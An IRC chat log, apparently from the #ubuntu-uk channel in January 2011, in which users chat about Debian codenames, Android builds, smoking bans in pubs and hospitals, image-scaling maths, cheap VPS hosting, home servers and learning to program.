<hamitron> see if that is causing it
<d_ed> or the semi dead fan is a sympton of a common problem..
<hamitron> could be
<d_ed> well good luck...
<hamitron> it is hard to figure it out, when it works fine for a week sometimes
<hamitron> suppose I could try plugging the fan back in, and monitor the voltage
<hamitron> or maybe put a 1A fuse in
<hamitron> or even more cool, install a dedicated fuse box
<hamitron> can't see many home comps having that
<hamitron> I would deserve a mod of the week sticker :)
 * brobostigon gets the girls chocolate buttons.
<brobostigon> treats*
<brobostigon> umm, question, "lsb_release -a" says testing squeese, however am running off sid repos. what will happen when squeese becomes stable.
<MartijnVdS> it'll still say squeeze
<MartijnVdS> maybe stable squeeze
<brobostigon> MartijnVdS: and then testing with have a different codename,
<MartijnVdS> yes
<MartijnVdS> We will continue to use Toy Story character names for squeeze's
<MartijnVdS> successor. The next release will be called ``wheezy'' (the rubber toy
<MartijnVdS> penguin with a red bow tie), and will be Debian 7.0.
<brobostigon> MartijnVdS: however i am running sid repos, so it cannever become testing nor stable. i directed moved from testing to unstable,
 * MichealH laughs at how quick and easy that question was to answer on askubuntu.com :P
<MichealH> http://askubuntu.com/questions/22314/unable-to-set-custom-icon-on-application-launcher/22333#22333
<MartijnVdS> brobostigon: it'll stay "testing" probably
<MichealH> UPVOTE :)
<brobostigon> MartijnVdS: or sid in this case.
<MartijnVdS> brobostigon: yes, but they have to upload something with the "Testing' name in it, because of the automatic sid -> testing migrations
<brobostigon> MartijnVdS: ah, makes more sense.
<brobostigon> yes.
<brobostigon> MartijnVdS: the entire process isnt always fullyclear yet,
<brobostigon> https://github.com/CyanogenMod/android_device_htc_dream_sapphire/tree/gingerbread
<brobostigon> yay, :)
 * MartijnVdS waits for the official ota
<brobostigon> yes, i dont think it will ever happen. from cyanogenmod anyway,
<brobostigon> MartijnVdS: stupid thing is, even if that wprked, not even a nightlie built from it,
<MartijnVdS> oh wait
<MartijnVdS> I mean gbread for nexus one ;)
<brobostigon> oh.
<brobostigon> MartijnVdS: http://mirror.teamdouche.net/?device=passion&type=nightly willbe based on gingerbread aosp 2.3
<MartijnVdS> I'm not rooting
<brobostigon> ok.
<MartijnVdS> and there's new news of a Google rep saying "in the coming days"
<brobostigon> ah.
 * brobostigon says that with some sceptisism.
<MartijnVdS> brobostigon: Nexus One is the new developer phone.. they HAVE to provide an update eventually
<brobostigon> ohdear huge mistake, i amwatching hattie on bbc4, and it was setin the late sixties, and the cigerette showed had a filter, :(
<brobostigon> MartijnVdS: or the galaxy *
<hamitron> aren't filters better for your health?
<brobostigon> hamitron: however they didnt in that period,
<hamitron> ah yeh
<hamitron> at least the bbc hasn't cut that scene...
<hamitron> ;)
<brobostigon> hmm, the didnt either when clarkson smoked on HIGNFY either.
<hamitron> true
<hamitron> :)
<brobostigon> or hamster, clarkson and may smoking pipes on top gear.
<popey> 21:34:22 < hamitron> aren't filters better for your health?
<popey> debateable
<brobostigon> popey: elaborate?
<popey> nah :)
<popey> its well documented online
<brobostigon> oh, so i am doing the right thing then.
<popey> i dont particularly care tbh, because I don't smoke
<popey> I care more about the particulates that smokers breathe out on me and my family
<brobostigon> i have always rolled my own, and have never used filters.
<czajkowski> rollies just look messy :S
<brobostigon> popey: i dont smoke around peoplei know  dont like it, and even then ask.
<brobostigon> czajkowski: not mine.
<popey> doesnt have to be "around"
<brobostigon> popey: several walls away.
<popey> smokers still breathe out the particulates some time after they finish smoking
<czajkowski> popey: indeed
<brobostigon> popey: agreed, quite.
<popey> i.e. after they come indoors
<brobostigon> yes.
<popey> my daughter has a condition which is aggravated by smoke
<czajkowski> Always remember my uncle lecturing people about smoking near his kid, and he'd go off and smoke, come back and cuddle her , yuck
<hamitron> I make my friend freeze in the cold when they visit
<hamitron> ;)
 * brobostigon remembers never to smoke around or be near popey after he has then.
<popey> hah
<hamitron> I do miss smoke in night clubs though
<hamitron> :/
<popey> ugh, i dont
<popey> when we went to brussels and into a bar where they smoke it was horried
<hamitron> now the smell of sweat and urine :(
<brobostigon> i miss my pipe in the pub with a good beer,
<czajkowski> popey: aye delerium is bad alright
<czajkowski> popey: picture it at fosdem, 1000 geeks in there
<popey> :S
<popey> I'd have to be drunk before I went in
<popey> best part of that evening was when dave batted a beer over himself
<brobostigon> this is why i favoured having seperate parts of pubs for smokers and non. or seperate rooms. as i vote for giving peoplechoice, anf that situation would do. rather than how it is now.
<popey> i vote for no choice at all, put all the smokers in a field and shoot them
<czajkowski> popey: :D
<popey> </excessive>
<czajkowski> no just no smoking indoors
<brobostigon> :(
<czajkowski> go outside and smoke
<czajkowski> and evne then not outside the place of eating/drinking
<brobostigon> agreed czajkowski
<brobostigon> hmm.,
<czajkowski> most annoying having to walk past them indoors and through the smoke
<mgdm> Annoying; someone smoking in the lift in your building before you get into it
<maco> in the US it used to be common to ask "smoking or non?" when people came into the restaurants, but now ...well, at least all the states i visit regularly have it banned anywhere with a roof that food or drinks are served
<brobostigon> czajkowski: how about a certaindistence away.
<mgdm> I was wheezing enough as it is (asthma + cold)
<popey> :( mgdm
<brobostigon> thats i do hate,even as a smoker, mgdm
<dwatkins> Smoking in lifts can't be legal.
<brobostigon> agreed.
<mgdm> I don't believe it is
<mgdm> also, why is my monitor flickering on and off?
<dwatkins> The last company I worked at had a three-sided enclosed space for the smokers' corner, they had to take one of the perspex sides off so it wasn't breaking the law to smoke in it
<brobostigon> dwatkins: huh. ?
<popey> yup
<popey> thats why the ones outside pubs dont have 4 sides
<brobostigon> because it cant be enlosed?
<popey> yeah
<brobostigon> enclosed*
<czajkowski> they put in some smoking huts at the old hospital I used to work at
<popey> cos then it's technically inside
<czajkowski> the huts cost 5 K each
<popey> ouch
<czajkowski> and there was 5 dotted around the place
<popey> make the smokers pay!
<czajkowski> really annoying wasteful money
<czajkowski> no smoking should be tolerated on hospital grounds
<brobostigon> popey: we do pay,
<popey> no, directly
<czajkowski> popey: +1
<popey> our local hospital has completely banned it
<popey> you have to leave the site to smoke, which is quite a walk
<brobostigon> czajkowski: execpt in mental facilities/departments.
<czajkowski> brobostigon: yeah I dont agree with that at all
<sm1773r> hey guys
<popey> hi sm1773r
<czajkowski> sm1773r: aloha
<sm1773r> whats all the talk bout smoking in hospitals bout ?
<brobostigon> czajkowski: ok, imagine the situation, you have mental illness, of any kind, and you dont know the difference of having any control. and then have to go outsidethat control. that isnt good enough, beause thenthat is putting that person in danger,
<ali1234> what brobostigon is saying is actually a big problem for mental departments
<czajkowski> brobostigon: the workers there are no different from anywhere else, why should they have to inhale the smoke
<ali1234> the patients are always absconding for a smoke and getting hit by cars and such
<brobostigon> czajkowski: i hve been there, i know the feeling, and i know the reasong why they allow it, here in banbury,
<brobostigon> czajkowski: they dont, they send everyone outside, wherethey canstill monitor them.
<sm1773r> so smoking doesnt kill people trying to sneak out for a smoke does ?
<czajkowski> it's the exhaling afterwards..
<brobostigon> ali1234: you can maybe explain it better, you seem to have a grasp.
<ali1234> the situation i am talking about is where they totally ban it on the grounds (which the patients of course are not allowed to leave)
<brobostigon> yes
<brobostigon> or for axample ina day hospital.
<popey> I can see why they make exceptions.
<hamitron> someone smoking down the street annoys me most ;)
<brobostigon> because ihave beem inthe day hospital here inbanbury because of my depression, thats when it was really bad, over 5 years ago. and not allowing me to have a smoke, would have sent me mad,
<brobostigon> so the best possibility, was to send us, outside.
<brobostigon> to be blunt.
<brobostigon> within good reason for both parties.
<popey> or assist you to give up
<hamitron> or provide a smoking room ;)
<popey> http://www.gethampshire.co.uk/news/s/2003460_total_smoking_ban_at_frimley_park_hospital
<popey> blimey, 4 years ago
<popey> well, 3 and a bit
<popey> (my local hospital)
<brobostigon> popey: i dont think thats a producttive idea, for people with severe depression nor muchworse mental illness.
<brobostigon> popey: assistence,yes. force, no.
<popey> i didnt say force
<czajkowski> my dad used to smoke up to 60 a day
<hamitron> he didn't either :|
<brobostigon> popey: i misinterpreted what you said.
<czajkowski> is now down to 3
<czajkowski> hopefully he;ll give up totally soon
<popey> hamitron: yes, he did
<ali1234> yes, the NHS tried to ban it on all hospital grounds a couple of years ago including outside
<brobostigon> ali1234: yep.
<popey> is it up to the individual trusts then?
<hamitron> the NHS is run by mini hitlers ;)
<brobostigon> popey: yes.
<popey> http://en.wikipedia.org/wiki/Bupropion
<popey> interesting
<popey> anti-depressant and smoking supressant in one :)
<ali1234> they ended up having to make exceptions all over the place though, partly for the reasons discussed above
<ali1234> and also cos the staff hated it just as much as the patients
<popey> yeah, i can imagine the staff having a fit
<popey> they'd all go offsite for "a quick smoke" and whilst there figure they may as well have two
<popey> which leads to a 30 min break
<brobostigon> ali1234: as some of the staff, atleast here in banbury, smoke aswell.
 * hamitron wouldn't give smoke breaks
 * brobostigon would.
<hamitron> smokers skiving on the strength of a fag, annoys me ;)
<czajkowski> smoke breaks at work annoy me, so if you smoke you get more breaks
<czajkowski> hamitron: indeed
<popey> yup
<czajkowski> pisses non smokers off no end
<popey> many of my co-workers go outside to smoke, two floors down
<popey> sometimes they're quick
<popey> if they go in a group they generally arent
<brobostigon> czajkowski: i insist on haveing the same breaks as everyone else, to prove i can deal with it,
<hamitron> smokers get a fag break, and what would I be told if I wanted a cake break?....
<popey> mmmm cake
<brobostigon> yummy.
<czajkowski> nobody smokes at current place actually
<czajkowski> CAKE
<maco> cake break sounds like a good idea
<popey> !cake
<AlanBell> I used to go for a fresh air break when the smokers went for a not very fresh air break
<popey> bah
<brobostigon> maco: agreeed, :)
<popey> i often take sweets in for workers
<popey> choccy bars
<brobostigon> popey: cool. :)
<hamitron> I have caught a cold because of the smoking ban :(
<hamitron> and I don't even smoke
 * hamitron curses
<hamitron> no cake with cough
 * brobostigon gets some of his chewing tobacco.
<brobostigon> no fumes.
<popey> heh
<hamitron> I am actually considering starting smoking, just because I am told not to :/
<hamitron> never smoked in my life
<brobostigon> hamitron: dont, please done, it is the worst possible decision. it rules your mind .
<hamitron> but when I have to stand outside for long periods because everyone else smokes...
<brobostigon> please  dont*
<czajkowski> oh if I am hammered drunk I smoke
<mgdm> so 40 a day, then?
 * mgdm runs
<mgdm> FAST
<popey> hehe
<hamitron> I'll smoke a pipe to get my own back on the smokers, as I hate the smell of smoke :)
<popey> i think it could be a bacon sort of a breakfast tomorrow
<popey> czajkowski: no, no syrup
<sm1773r> dont smoke , if i dont have any for a while i become very grumpy until i get 1 it destroys u man
<brobostigon> czajkowski: what onearth does the nicotine do to you?
<hamitron> the smelliest I can find
<czajkowski> popey: sooo wrong!
<czajkowski> brobostigon: give me awoeful hangover the next day
<czajkowski> popey: yer very odd at times,!
<brobostigon> czajkowski: no doubt,
<brobostigon> czajkowski: :(
<hamitron> bah, need coffee
<hamitron> brb
<sm1773r> no milk in mines bud
<brobostigon> http://osnews.com/story/24284/FSF_Announces_Support_for_WebM_Project
<brobostigon> interesting gossip.
<sm1773r> lol read this , it is so stupid http://www.cbc.ca/world/story/2011/01/13/cat-jury-duty.html
<popey> :)
<sm1773r> can just picture it , guy is up for murder and the full jury is a bunch of cats
<gord> ... *glares*
 * czajkowski offers gord a cuppa tea 
<czajkowski> less glaring it's not good for you gord
<gord> toes are cold but my cats winter coat is shedding, winter is confusing
<czajkowski> gord: can you not just plonk your cat at your feet
 * brobostigon  grumbles at nhs mental health getting less money.
<hamitron> poor cat :/
<gord> nope, i prefer non scratched up feet ;)
<diplo-> evenin all
<brobostigon> evening diplo-
<brobostigon> nos da, sleepwell.
<ali1234> anyone know if there is a channel on freenode for completely random computer science questions? (ie not related to a particular software or programming language)
<popey> heh, i just randomly joined #compsci
<popey> one dude in there
<popey> would usenet be "better"?
<ali1234> there is a few channels on that variation but they all seem dead
<popey> http://cstheory.stackexchange.com/
<popey> ?
<ali1234> ah good idea
<ali1234> i was going to try wikipedia reference desk too
<ali1234> my question, in case anyone knows: http://codepad.org/P8v889KY
<gord> ali1234, point sampling and averaged down sampling
<gord> ali1234, although they are generally done in more intelligent ways than doubling/halving
<ali1234> it's not doubling/halving.... it's scaling up then scaling down so that you never deal with half pixels
<ali1234> but yeah... it's just linear interpolation right?
<gord> ali1234, no, if you scale it up and then down you just end up with the original image
<gord> unchanged
<ali1234> eg to go from 3x3 to 10x10 it would go up to 15x15, then average over 3x3 blocks
<gord> linear interpolation is quite different
<HazRPG> evening
<HazRPG> I can't believe I'm just waking up again... I can't seem to  get out of this cycle lol
<ali1234> i didn't say you scale up and down by the same amount... but the point is you always scale up or down by a whole number
<gord> ali1234, at best, you just get a blocky point sampled image the size of the second one
<ali1234> example was wrong: eg to go from 3x3 to 5x5 it would go up to 15x15, then average over 3x3 blocks
<hamitron> wouldn't that make it foggy?
<ali1234> so the pixel at output(0,1) has 6 samples from input(0,0) and 3 samples from input(0,1), then we average
<ali1234> which is the same as linear filtering
<ali1234> hamitron: yes, scaling up always makes images foggy
<gord> its not mathamatically the same as linear filtering by a long shot
<gord> you get big blocks with fuzzy edges
<ali1234> you get that in linear filtering too
<gord> no, you don't
<ali1234> linear filtering != bilinear filtering
<gord> bilinear filtering is just a 2d version of linear filtering... hence the bi, next we have trilinear filtering
<ali1234> that's not true
<ali1234> wait, it is true
<ali1234> even so, i still think this is the same
<gord> its not
<ali1234> bilinear filtering *does* produce horrible fuzzy yet blocky textures, after all
<gord> no it doesn't
<gord> it produces diamond textures
<gord> you would litterally get blocks with fuzzy edges
<hamitron> but looking at ali1234's problem... is there any reason you have to use that formula?
<hamitron> ;/
<gord> linear interpolates between points, so you get those steep gradients between what used to be pixels, your system samples at irregular intervals over those pixels so you just get something that looks weird and is occasionally fuzzy
<gord> now, milkshake time
<hamitron> avoids float computation I suppose
<ali1234> hamitron: exactly
<ali1234> ok, i'm going to have to do the math on this one
<HazRPG> popey: I've decided to get myself some graze
<gord> HazRPG, want a code?
<HazRPG> hmm, sure?
<gord> well you can't have one because i can't remember my own login details
<gord> you can get one from popey ;)
<HazRPG> popey: *pokes popey*
<gord> maybe not at midnight ;)
<HazRPG> lol
<ali1234> hamitron: it avoid annoying edge clamping problems too
<HazRPG> I'll search for the word graze, cos he gave me a code earlier I think
<hamitron> ali1234: will increase memory use
<ali1234> oh for sure
<ali1234> but if you have lots of tiny images all the same size...
<hamitron> just a single buffer then
<gord> any graphics system that can't do floating point opperations historically, has only done point filtering
<HazRPG> gord: I don't know what to get xD
<HazRPG> gord: thinking wellbeingBox maybe?
<gord> no idea
<HazRPG> is it just random, or can you actually pick n choose ?
<gord> you can say "i favour this" and "i don't like this" to sway the graze gods
#ubuntu-uk 2011-01-20
<HazRPG> ah, cool
<HazRPG> ... think it would be too late to get this ordered for today :P
<hamitron> ali1234: it may be also worth checking for the largest number you have to multiply by
<ali1234> yes, optimizing by GCD
<hamitron> I dunno the name for it
<hamitron> :)
<ali1234> greatest common divisor
<hamitron> yeh
<hamitron> sounds right
<hamitron> :)
<ali1234> then you scale up by src/gcd and scale down by dest/gcd
<hamitron> yeh
<gord> you will still end up with big blocks with single pixel fuzzy edges ;)
<hamitron> yeh :/
<gord> i think running my OS off wifi might be quicker than using this sd card...
<hamitron> I guess Adobe deserve to receive the high price tag for CS3 ;)
<HazRPG> hamitron: how so?
<hamitron> brb, need to cough up a lung
<HazRPG> woot, some graze heading my way on Saturday :D
<hamitron> HazRPG: adobe optimising their image processing
<HazRPG> would it be a bad idea to try 11.04 on my normal desktop?
<hamitron> when you start reading, you realise how much there is
<HazRPG> hamitron: but they're up to CS5 now though...
<hamitron> I wouldn't use 11.04
<hamitron> oh
 * hamitron slaps himself
<hamitron> CS5 then
<hamitron> ;)
<HazRPG> :P
<HazRPG> I should know, they insist on sending me e-mails T_T
<hamitron> :/
<HazRPG> just to relate to our conversation of the other day about e-mails ^^
<HazRPG> gord: You know earlier today (19/01/2011) you said I should try out 11.04... did you mean I should install it on my normal desktop, or run from live CD? or both?
<gord> HazRPG, that is entirely up to you, depends how brave you are
<gord> just remember, its still very much alpha software
<HazRPG> gord: well say I brave installing it on my desktop, is the code for the boot-loader also still alpha software?
<gord> let me put it this way, there is no guaruntee that installing an alpha version of ubuntu won't overwrite every single byte of data on your disks with "meow"
<HazRPG> :eyetwitch:
<HazRPG> I remember using 9.10 alpha with no problems I think :P
<HazRPG> however that was on my laptop...
<hamitron> gord: not "moo"? ;/
<HazRPG> question, been meaning to ask this for a while, is there a way to dump the whole liveCD straight into RAM?
<HazRPG> I mean in the past that would have been bad for me, but now I have 6GB of RAM, having 700MB loaded into it isn't that bad
<HazRPG> I know as it stands it just loads up the main bits in RAM, and as 'n' when you start using apps... but having an option to just dump the whole lot would be cool
<HazRPG> or would that be implausible?
<hamitron> https://wiki.ubuntu.com/BootToRAM
<hamitron> "So, Steve Jobs goes on medical leave and Apple begins allowing porn (albeit soft core) into the App Store? Does Steve know about this?" ... he is probably enjoying it at home ;)
<HazRPG> I heard this song on jamendo, it is totally awesome xD http://www.jamendo.com/en/track/103074
<hamitron> better be haz
<hamitron> ;)
<HazRPG> hamitron: you heard it yet?
<hamitron> downloading
<hamitron> ;/
<HazRPG> heh :P
<hamitron> it is 4Mb man
<HazRPG> hamitron: what connection are you on?
 * hamitron looks
<hamitron> 300kbps \o/
<hamitron> not great today
<hamitron> :/
<HazRPG> :double-takes:
<HazRPG> what??
<HazRPG> how??
<hamitron> distance from exchange
<HazRPG> ouch
<hamitron> it sometimes gets to 2mbit
<HazRPG> I like your choice of words there hamitron
<hamitron> but officially I can expect no more than 0.8mbit
<hamitron> hmm?
<hamitron> oh, it is rocky
<HazRPG> you used the word "sometimes"
<hamitron> ah :)
<hamitron> I think it was the correct word...
<HazRPG> that's what I meant
<HazRPG> hmm... must suck sometimes being an ubuntu user then?
<hamitron> why?
<HazRPG> download updates/patches/software
<hamitron> I tell you what sucks more... when some idiots call an ISO image i386 and it is for i686 only... when I have i586 machines mostly
<hamitron> wasted effort :/
<HazRPG> ouch
 * hamitron spits at centos guys
<HazRPG> most ubuntu's are i386 though - unless I'm mistaken
<hamitron> ubuntu is fine for that
<hamitron> :)
<hamitron> but I've downloaded 8 cd ISO files on this connection for centos
<hamitron> :(
<HazRPG> heh, yeah been tempted to test CentOS... but after finding out that it was the O/S my webhost uses, I decided against it
<hamitron> could do without that
<hamitron> I need a replacement for debian 5.0 and ubuntu 8.04
<HazRPG> mainly cos my webhost kinda sucks
<HazRPG> www.goohost.co.uk
<HazRPG> took me 2 months to get my account up n running properly when I started with them
<hamitron> Â£99?
<hamitron> :|
<HazRPG> its fine now, and it truly is unlimited (tested that theory a few times)
<HazRPG> I didn't like the price rise they did though, because they said it would only be Â£49 a year
<hamitron> I just use my ISP webspace atm
<HazRPG> and when Â£99 came out of my account I complained like no tomorrow!
<hamitron> but got a vps... so dunno how long I can resist moving it
<hamitron> :)
<HazRPG> lol
<hamitron> not a bad song
<hamitron> don't understand it though
<hamitron> ;)
<HazRPG> me either
<HazRPG> google translate doesn't help much either xD
<hamitron> goohost sounds like google...
<HazRPG> I still keep meaning to find a new host for my sites, something reasonable since I don't get a lot of traffic on them
<HazRPG> hamitron: yeah I know, tell me about it
<hamitron> the logo looks like it too
<hamitron> well, icon
<hamitron> a big blue G
<hamitron> :)
<hamitron> bit of red and green in borders too
<HazRPG> hamitron: I gurantee you its not though - its some guy in his house I think... or at least that's where the number leads to... cos I rang from support once and his daughter answered the phone xD
<hamitron> hehe
<hamitron> my vps is only Â£10 per year
<hamitron> :)
<HazRPG> really?
<HazRPG> what do you get for that?
<hamitron> 128Mb ram
<hamitron> 256mb burst
<HazRPG> burst ?
<HazRPG> as in when it goes on fire ?
<hamitron> :))
<hamitron> 15gb hdd
<hamitron> 500gb bandwidth a month
<HazRPG> that's not bad
<HazRPG> do you have to setup everything yourself?
<HazRPG> apache etc
<hamitron> yeh
<HazRPG> interesting
<HazRPG> heh, technically your playing the same amount as me p.a. then :)
<hamitron> I pay Â£10 per year...
<HazRPG> ... oh
<HazRPG> wow
<HazRPG> how!?
<hamitron> www.buyvm.net
<HazRPG> you doing naughty things with the manager ;)?
<hamitron> not sure if it is to be releyed on
<hamitron> relied*
<hamitron> it is almost too cheap to be good
<HazRPG> heh, its out of stock for that one anyways xD
<hamitron> oh :/
<hamitron> I was checking their site every week
<hamitron> as I had been waiting for months to get one
<HazRPG> wow, out of stock for everything!
<hamitron> and I just spotted it the day more stock arrived
<hamitron> :)
<shauno> maybe if they didn't charge less than a buck a month, they'd be able to afford more hosts ;)
<hamitron> shauno: be quiet ;/
<shauno> :p
<hamitron> I like it the way it is
<shauno> curious, do you know where (ish) the server's physically located?
<hamitron> US I think
<hamitron> or canada
<hamitron> ;/
<hamitron> I doubt it is the best service, but cheaper than most shell accounts
 * hamitron sighs
<HazRPG> so wait, what are you limited to with VPS exactly?
<HazRPG> or rather, what CAN you do with them?
<hamitron> I can't change the kernel
<HazRPG> (still hasn't explored using linux server's yet)
<ali1234> gord: you are right
<hamitron> I also have to be careful of cpu use
<ali1234> this isn't linear interpolation
<HazRPG> hamitron: does it not physically let you?
<HazRPG> hamitron: how so?
<hamitron> I think they disable your account if you start affecting other customers on the same node
<HazRPG> ah
<hamitron> but I am only using 8.5Mb of 256Mb RAM atm
<shauno> I haven't run into any real limitations with vps, other than "being polite to your neighbours" becomes a considerations
<hamitron> :)
<hamitron> they are easier to format and reboot, than a normal server
<hamitron> :)
<hamitron> my main problem has been my dsl connection since I got mine :/
<HazRPG> I've been meaning to put ESXi onto my home server I have which currently hosts out one of my websites - I mainly using it for my current projects I have on the go, and get others to test it
<hamitron> not able to properly play
<HazRPG> only problem is, each time I try to install ESXi, it says - "not enough RAM"
<hamitron> :/
<HazRPG> but doesn't say how much I need :/
<hamitron> how much you got?
<HazRPG> erm... not sure xD
<hamitron> hehe
<hamitron> my servers only have 256Mb
<HazRPG> hold, I'll remote into it (it has no monitor)
<HazRPG> 1GB of RAM
<HazRPG> but it's a proper DELL server I got for Â£100, when it was on offer
<hamitron> I got a 420SC poweredge \o/
<HazRPG> Dual-Core AMD Opteron 1212
<hamitron> nice
<hamitron> celeron 2.53ghz
<hamitron> :/
<HazRPG> runs @ 2.01GHz I think
<hamitron> but I have moved everything over to a NAS with a 300mhz cpu
<hamitron> :)
<hamitron> seems to run well
<HazRPG> I think... according to this CD I have from there
<HazRPG> its a Dell PowerEdge T100 ? or maybe T110?
<hamitron> better than mine :/
<hamitron> mine was Â£99
<hamitron> but worked out Â£204 after a few bits and delivery
<hamitron> mainly docs and cd
<HazRPG> heh, I just got bog standard stuff
<HazRPG> ok, based on the info I can find, it must be the T100 - but with AMD instead of Intel processor
<hamitron> cheapest standard setup was Â£350
<hamitron> and when I saw Â£99
<hamitron> :)
<hamitron> I had to replace my old K6-2 comp I was using as a server
<HazRPG> oh, see mine was standard of Â£99
<HazRPG> but it was on offer like I said
<hamitron> I keep considering putting more RAM in
<hamitron> but it works as is with 256mb
<hamitron> only reason i need more, is to run remote X apps
<HazRPG> heh, wait, apparently I paid Â£190.35 for it (just checked e-mail)
<hamitron> sounds about right
<hamitron> :)
<HazRPG> cos I opt-ed for the extra hard drive
<hamitron> my paper manual cost Â£15
<hamitron> :/
<hamitron> I also added a floppy drive
<hamitron> erm
<HazRPG> I have many floppy drives, so I didn't see the need to add one ^^
<hamitron> lazyness
<hamitron> :)
<HazRPG> man, I still have a stack of floppies that I have used since 1995
<HazRPG> or possibly 1993
<HazRPG> haven't*
<HazRPG> also, it was a T105 I got
<HazRPG> needs more RAM though if I want to try out ESXi
<HazRPG> and holy cow, I might try ESXi right now!
<hamitron> :)
<hamitron> I have no need to virtualise comps here
<HazRPG> my new build PC is 6GB of RAM xD
<hamitron> 22 comps in this house ;)
<HazRPG> woah nice :P
<HazRPG> where's that ESXi disc I burned ages ago...
<hamitron> is it free?
<HazRPG> hell yeah
<HazRPG> I wouldn't use it if it wasn't xD
<hamitron> :)
<hamitron> tight bugger ;)
<hamitron> bad as me
<HazRPG> :P
<HazRPG> http://www.vmware.com/products/vsphere-hypervisor/index.html
<HazRPG> however, although it's a light-weight virtual server thinger
<HazRPG> (only needs like 42MB of HDD space or something)
<HazRPG> it won't install with 1GB of RAM on my server... must be because people who use it, deploy several servers on it
<hamitron> tbh, seems like overkill to me
<HazRPG> needing more than 1GB?
<HazRPG> its because some people use windows server with it
<HazRPG> and well, that's a mega RAM hog
<hamitron> no, just running ESXi at home
<hamitron> ;)
<HazRPG> heh, I'm currently doing a freelance project - and hope to actually run my own business from home
<HazRPG> so would be nice to be able to deploy servers onto my server for testing, and so that if anyone ever asks "do you know how to setup x server with x O/S" I'll be like "yup, when can I start?"
<hamitron> guess so
<hamitron> :)
<HazRPG> also means I can finally test a linux server distro (several at a time) while keeping my win server on there that I know how to manage
<hamitron> win server :(
<hamitron> I never had a copy
<HazRPG> yeah I know, sadly :(
<HazRPG> I got one free from uni
<hamitron> ah :)
<HazRPG> only valid for another year
<HazRPG> so time is ticking
<hamitron> I used to hang around in the unix lab with people from that crowd
<hamitron> so to go ask for a windows disk...
<hamitron> would of been slaughtered
<HazRPG> heh, see we don't ask... we're all automatically registered with MSDNAA
<HazRPG> so we get to pick what we want
<hamitron> ah, nice
<HazRPG> main reason we're registered on it, is so we can download Visual Studio for our C++ lessons
<hamitron> we used borland
<hamitron> :/
<HazRPG> personally I'd rather use DevC++ because that's what I've been using for years
<hamitron> and now I use gcc for current work
<HazRPG> nice
<HazRPG> my hope is to switch to gcc
<HazRPG> DevC++ is sort of gcc
<HazRPG> but for a windows o/s
<hamitron> I tried it in my early days
<hamitron> I hate IDE
<hamitron> ;/
<HazRPG> wow you used borland?
<HazRPG> I used that for Java
<HazRPG> at college :/
<HazRPG> I managed to force then to use netbeans by like the 2nd month of it
<hamitron> I hated the IDE so much, I chose to use the commandline tools
<hamitron> :)
<HazRPG> just cos people weren't allowed to take borland home
<hamitron> but that was the fault of linux
<HazRPG> :P
<hamitron> I got used to a commandline :/
<HazRPG> yeah I still essentially code in text-editors for html/php/css stuff
<hamitron> gah, html
<hamitron> :/
<hamitron> I need to make a webpage
<hamitron> and cba with fancy
<HazRPG> for what? :P
<hamitron> for project work
<hamitron> demo files
<HazRPG> what you studying?
<hamitron> I'm doing a single module in the engineering department atm
<hamitron> not a full time student
<HazRPG> ah cool, didn't think you could do that
<hamitron> you just pay them, and they let you
<hamitron> ;)
<HazRPG> might take penetration testing once I'm finished then :P
<HazRPG> sounds so naughty, but it isn't
<hamitron> :)
<HazRPG> its about security
<HazRPG> I wanted to do it this year, but couldn't timetable it in with the rest, so had to pick agile systems instead :/
<hamitron> :\
<HazRPG> its torture, this will be my 7year in college/uni
<hamitron> I personally don't care for modules I don't learn, can be self taught mostly
<hamitron> I only did 3 years
<HazRPG> some things are better when your being pushed in the right direction
<HazRPG> this is my final year for a degree
<HazRPG> before that I was doing HND stuff
<hamitron> ah, I did A levels
<HazRPG> yeah was going to say, before that was a level
<hamitron> but at uni, I did learn a lot
<hamitron> but everything I did, was not in enough detail to use
<hamitron> gotta go away and properly learn it I find :)
<hamitron> my C modules was pathetic
<hamitron> were*
<hamitron> problem is books cost so much :/
<devush> use ebooks!
<hamitron> they aren't much cheaper
<hamitron> and not as nice to read
<devush> i mean the web resources.
<devush> on programming always enough.
<hamitron> still not as easy to sit down in the garden and read
<devush> actually we have to learn using documentation etc.
<hamitron> :)
<devush> this is how they also write the books
<devush> well as far as the programming is concern, you just do not read, but write the code.
<devush> occasionally reading.
<devush> but reading generally for syntax.
<hamitron> I'm reading a good book on optimising mathematics atm
<hamitron> ;)
<devush> basics are same from the 1/2 year college etc.
<devush> atm?
<HazRPG> get a kindle!
<HazRPG> that's what I plan to get when I get paid for this project :P
<hamitron> kindle would not work for me
<devush> well good idea.
<devush> but i have kindle.
<hamitron> I like to have 6 or 7 books open, and referencing from them all
<hamitron> :)
<devush> and i use that only for most of the text only books novels etc.
<devush> still pdfs are better. due to the screen.
<devush> e.g. my java code wraps to the next line on kindle. so not so much useful.
<devush> but it just saves time in commuting.
<devush> it take 5-10 to start reading again in tube etc.
<hamitron> I get enough time to look at a screen, using a computer for work ;)
<hamitron> reading a book is a "rest" for the eyes
<devush> i used to print a lot of material. we have free printing service in college. and then in company it was not a problem.
<devush> that is why i used to print in early days.
<devush> still i do, but some good articles etc.
<devush> anybody using 10.10 on HP tx2 here
<hamitron> I have stopped getting linux format now
<devush> what do you mean linux format
<hamitron> a monthly mag
<hamitron> :)
<devush> oh i see
<HazRPG> I use to love that mag
<hamitron> http://www.hamitron.demon.co.uk/pics/lappy.jpg
<hamitron> behind the lappy
<devush> oh dear.
<devush> it looks like my collection of iX back in germany.
<devush> but i used to buy every thursday or so.
<hamitron> :)
<devush> that time ubuntu was not there . it was SuSE world
<HazRPG> heh
<hamitron> I've stopped subscribing to it
<devush> used to buy the SuSE distribution from the Shop. back in 98-99.
<hamitron> and now I just buy a few reference books each year
<devush> now probably you have to subscribe to one particular topic. as there are so many areas.
<hamitron> I choose the topics I want to learn in detail, yes
<devush> BTW. i never heard or read - linux format.   sorry not so long here in uk.
<hamitron> but the mag just skimmed the surface of lots of things
<ball> brb
<devush> I see you have opensuse DVD/CD also in your picture
<devush> so any body with HP Tx2 laptop using 10.10.
<devush> i had constant problems with mouse.
<devush> i managed to revert back to 10.04 and now all working again.
<HazRPG> nah, I'm currently running it on a desktop
<hamitron> :/
<HazRPG> well 2 desktops
<devush> ok.
<HazRPG> one's a P4 and ones an i7
<devush> ok. you got fast stuffs.
<hamitron> I've moved to Debian on my old systems now
<hamitron> :/
<devush> i am running it on Windows XP - vmware.
<HazRPG> debian has less requirements
<hamitron> debian has older X.org
<hamitron> :)
<hamitron> but gonna change to Wary Puppy 5.0 I think
<devush> i do not like the puppy interface.
<hamitron> me neither
<hamitron> :/
<devush> do not know about the Wary puppy.
<hamitron> but ubuntu stops support for 8.04 soon
<devush> is it the same original puppy. or some thing new
